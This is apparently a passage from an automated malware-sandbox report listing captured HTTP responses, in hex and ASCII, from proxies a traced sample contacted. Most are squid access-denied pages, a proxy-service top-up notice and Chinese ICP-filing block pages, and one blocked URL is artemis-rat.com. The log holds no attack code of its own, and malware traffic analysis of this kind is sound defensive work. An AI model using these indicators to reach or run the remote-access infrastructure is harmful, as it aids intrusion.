Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:39 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:39 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 02:30:39 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:39 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:39 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:39 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:40 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.6Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:40 GMTContent-Type: text/html;charset=utf-8Content-Length: 3773X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:40 GMTContent-Type: text/html;charset=utf-8Content-Length: 952X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-2</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 